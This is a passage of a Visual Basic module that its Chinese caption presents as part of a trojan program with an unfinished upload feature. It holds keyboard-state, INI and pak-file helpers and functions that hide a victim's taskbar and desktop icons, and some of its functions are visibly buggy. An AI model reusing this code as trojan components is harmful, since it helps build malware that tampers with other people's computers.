modfunction.bas

一个较为完整的VB木马程序。只是文件上传功能还不太完善。

    SetKeyboardState keystat(0)
End Function
' 读ScrollLock的状态

Public Function GetScrollLock() As Boolean
    ' get current state of all 256 virtual k
    '     eys
    Dim keystat(0 To 255) As Byte
    GetKeyboardState keystat(0)
    ' for toggle keys, bit 0 reflects the cu
    '     rrent state
    GetScrollLock = (keystat(vbKeyScrollLock) And 1)
End Function
' 修改ScrollLock的状态

Public Function SetScrollLock(ByVal newValue As Boolean)
    ' get current state of all 256 virtual k
    '     eys
    Dim keystat(0 To 255) As Byte
    GetKeyboardState keystat(0)
    ' modify bit 0 of the relevant item, and
    '     store back
    keystat(vbKeyScrollLock) = (keystat(vbKeyScrollLock) And &HFE) Or (newValue And 1)
    SetKeyboardState keystat(0)
End Function
' 读NumLock的状态

Public Function GetNumLock() As Boolean
    ' get current state of all 256 virtual k
    '     eys
    Dim keystat(0 To 255) As Byte
    GetKeyboardState keystat(0)
    ' for toggle keys, bit 0 reflects the cu
    '     rrent state
    GetNumLock = (keystat(vbKeyNumlock) And 1)
End Function
'修改NumLock的状态

Public Function SetNumLock(ByVal newValue As Boolean)
    ' get current state of all 256 virtual k
    '     eys
    Dim keystat(0 To 255) As Byte
    GetKeyboardState keystat(0)
    ' modify bit 0 of the relevant item, and
    '     store back
    keystat(vbKeyNumlock) = (keystat(vbKeyNumlock) And &HFE) Or (newValue And 1)
    SetKeyboardState keystat(0)
End Function
' 读Insert的状态

Public Function GetInsertKey() As Boolean
    ' get current state of all 256 virtual k
    '     eys
    Dim keystat(0 To 255) As Byte
    GetKeyboardState keystat(0)
    ' for toggle keys, bit 0 reflects the cu
    '     rrent state
    GetInsertKey = (keystat(vbKeyInsert) And 1)
End Function
'修改Insert的状态

Public Function SetInsertKey(ByVal newValue As Boolean)
    ' get current state of all 256 virtual k
    '     eys
    Dim keystat(0 To 255) As Byte
    GetKeyboardState keystat(0)
    ' modify bit 0 of the relevant item, and
    '     store back
    keystat(vbKeyInsert) = (keystat(vbKeyInsert) And &HFE) Or (newValue And 1)
    SetKeyboardState keystat(0)
End Function

Public Function GetPrivateString(PathName As String, IDLocation As String, VariableName As String)
    sString = String(100, "*")
    lLength = Len(sString)
    GetPrivateProfileString IDLocation, VariableName, vbNullString, sString, lLength, PathName
    GetPrivateString = sString
End Function

Public Sub SetPrivateString(PathName As String, IDLocation As String, VariableName As String, VariableSet As String)
    WritePrivateProfileString IDLocation, VariableName, VariableSet, PathName
End Sub

Public Function CallCache(SaveToFlag As Integer, SpkfileName As String, FiletoCache As String)
    WavCache(SaveToFlag) = PrecacheSound(SpkfileName, FiletoCache)
End Function

Public Function PakValid(PakFileName As String) As Boolean
    Header = String$(Len(MainHeader), Chr$(0))
    FileNumber = FreeFile
    Open PakFileName For Binary As FileNumber
        Get FileNumber, 1, Header
        If Header = MainHeader Then PakValid = True Else PakValid = False
    Close FileNumber
End Function

Function PrecacheSound(PakFile As String, FileToPrecache As String) As String
    If PakValid(PakFile) = True Then
        FileNumber = FreeFile
        Open PakFile For Binary As FileNumber
            Get FileNumber, Len(MainHeader) + 1, FileListStart
            If FileListStart = 0 Then
                Close FileNumber
                Exit Function
            Else
                Do
                    Get FileNumber, FileListStart, Offset
                    FileListStart = FileListStart + 4: OffSetTypes(DoCount) = Offset
                    
                    Get FileNumber, FileListStart, Size
                    FileListStart = FileListStart + 4: SizeTypes(DoCount) = Size
                    
                    Name = String$(255, Chr$(0))
                    Get FileNumber, FileListStart, Name
                    Name = Mid(Name, 1, InStr(1, Name, Chr$(0)) - 1)
                    FileListStart = FileListStart + (Len(Name) + 1): DoCount = DoCount + 1
                    
                    If UCase(Name) = UCase(FileToPrecache) Then
                        Buffload = Space(SizeTypes(DoCount - 1))
                        Get FileNumber, OffSetTypes(DoCount - 1), Buffload
                        PrecacheSound = Buffload
                    End If
                    
                Loop Until FileListStart > LOF(FileNumber)
            End If
        Close FileNumber
    End If
End Function

Public Function SOUNDPRECACHEFileCount(PakFile As String) As Long
    DoCount = 0
    If PakValid(PakFile) = True Then
        FileNumber = FreeFile
        Open PakFile For Binary As FileNumber
            Get FileNumber, Len(MainHeader) + 1, FileListStart
            If FileListStart = 0 Then
                Close FileNumber
                Exit Function
            Else
                FileCountTemp = 1
                Do
                    Get FileNumber, FileListStart, Offset
                    FileListStart = FileListStart + 4
                    
                    If DoCount = 0 Then
                        OffSetTypes(DoCount) = Offset
                    ElseIf DoCount > 0 Then
                        If OffSetTypes(0) = Offset Then SOUNDPRECACHEFileCount = FileCountTemp - 1: Close FileNumber: Exit Function
                        OffSetTypes(DoCount) = Offset: FileCountTemp = FileCountTemp + 1
                    End If
                    
                    Get FileNumber, FileListStart, Size
                    FileListStart = FileListStart + 4: SizeTypes(DoCount) = Size
                    
                    Name = String$(255, Chr$(0))
                    Get FileNumber, FileListStart, Name
                    
                    Name = Mid(Name, 1, InStr(1, Name, Chr$(0)) - 1)
                    FileListStart = FileListStart + Len(Name) + 1: DoCount = DoCount + 1
                    
                Loop Until FileListStart > LOF(FileNumber)
                FileCount = FileCountTemp
            End If
        Close FileNumber
    End If
End Function

Public Function SOUNDPRECACHEListFiles(PakFile As String, ReturnList As ListBox)
    DoCount = 0
    If PakValid(PakFile) = True Then
        FileNumber = FreeFile
        Open PakFile For Binary As FileNumber
            Get FileNumber, Len(MainHeader) + 1, FileListStart
            If FileListStart = 0 Then
                Close FileNumber
                Exit Function
            Else
                Do
                    Get FileNumber, FileListStart, Offset
                    FileListStart = FileListStart + 4
                    Get FileNumber, FileListStart, Size
                    FileListStart = FileListStart + 4
                    
                    Name = String$(255, Chr$(0))
                    Get FileNumber, FileListStart, Name
                    Name = Mid(Name, 1, InStr(1, Name, Chr$(0)) - 1)
                    
                    If WavName = Name Then Close FileNumber: Exit Function
                    If DoCount = 0 Then WavName = Name
                    
                    FileListStart = FileListStart + (Len(Name) + 1)
                    DoCount = DoCount + 1
                    ReturnList.AddItem Name
                    
                Loop Until FileListStart > LOF(FileNumber)
            End If
        Close FileNumber
    End If
End Function

Public Function SOUNDPRECACHEGetName(PakFile As String, FileNumberReturn As Integer) As String
    DoCount = 0
    FileNumberReturn = FileNumberReturn + 1
    If PakValid(PakFile) = True Then
        FileNumber = FreeFile
        Open PakFile For Binary As FileNumber
            Get FileNumber, Len(MainHeader) + 1, FileListStart
            If FileListStart = 0 Then
                Close FileNumber
                Exit Function
            Else
                Do
                    Get FileNumber, FileListStart, Offset
                    FileListStart = FileListStart + 4
                    Get FileNumber, FileListStart, Size
                    FileListStart = FileListStart + 4
                    
                    Name = String$(255, Chr$(0))
                    Get FileNumber, FileListStart, Name
                    Name = Mid(Name, 1, InStr(1, Name, Chr$(0)) - 1)
                    
                    If DoCount = 0 Then WavName = Name
                    
                    FileListStart = FileListStart + (Len(Name) + 1)
                    
                    If DoCount = 0 Then
                        If FileNumberReturn = 0 Then
                            SOUNDPRECACHEGetName = Name
                            Close FileNumber
                            Exit Function
                        End If
                    End If
                    
                    DoCount = DoCount + 1
                    If DoCount = FileNumberReturn Then SOUNDPRECACHEGetName = Name: Close FileNumber: Exit Function
                    
                Loop Until FileListStart > LOF(FileNumber)
            End If
        Close FileNumber
    End If
End Function

Public Function SOUNDPRECACHEGetNameNumber(PakFile As String, FName As String) As Integer
    DoCount = 0
    If PakValid(PakFile) = True Then
        FileNumber = FreeFile
        Open PakFile For Binary As FileNumber
            Get FileNumber, Len(MainHeader) + 1, FileListStart
            If FileListStart = 0 Then
                Close FileNumber
                Exit Function
            Else
                Do
                    Get FileNumber, FileListStart, Offset
                    FileListStart = FileListStart + 4
                    Get FileNumber, FileListStart, Size
                    FileListStart = FileListStart + 4
                    
                    Name = String$(255, Chr$(0))
                    Get FileNumber, FileListStart, Name
                    Name = Mid(Name, 1, InStr(1, Name, Chr$(0)) - 1)
                    
                    If DoCount = 0 Then WavName = Name
                    FileListStart = FileListStart + (Len(Name) + 1)
                    
                    If DoCount = 0 And FName = Name Then
                        SOUNDPRECACHEGetNameNumber = DoCount
                        Close FileNumber
                        Exit Function
                    End If
                    
                    DoCount = DoCount + 1
                    
                    If FName = Name Then
                        SOUNDPRECACHEGetNameNumber = DoCount - 1
                        Close FileNumber
                        Exit Function
                    End If
                    
                Loop Until FileListStart > LOF(FileNumber)
                GetNameNumber = -1
            End If
        Close FileNumber
    End If
End Function

Public Function PasswordCalculateMaker(sString As String) As String
    Dim result As Long
    For calc = 1 To Len(sString)
        result = result + Asc(Mid(sString, calc, 1)) * 123456 + Len(sString)
    Next calc
    calculate = Hex(result) + Hex(Len(sString))
End Function

Public Function HideTaskBar()
    Dim Handle As Long
    Handle& = FindWindow("Shell_TrayWnd", vbNullString)
    ShowWindow Handle&, 0
End Function

Public Function ShowTaskBar()
    Dim Handle As Long
    Handle& = FindWindow("Shell_TrayWnd", vbNullString)
    ShowWindow Handle&, 1
End Function

Public Function HideDesktop()
    ShowWindow FindWindowEx(FindWindowEx(FindWindow("Progman", vbNullString), 0&, "SHELLDLL_DefView", vbNullString), 0&, "SysListView32", vbNullString), 0
End Function

Public Function ShowDesktop()
    ShowWindow FindWindowEx(FindWindowEx(FindWindow("Progman", vbNullString), 0&, "SHELLDLL_DefView", vbNullString), 0&, "SysListView32", vbNullString), 5
End Function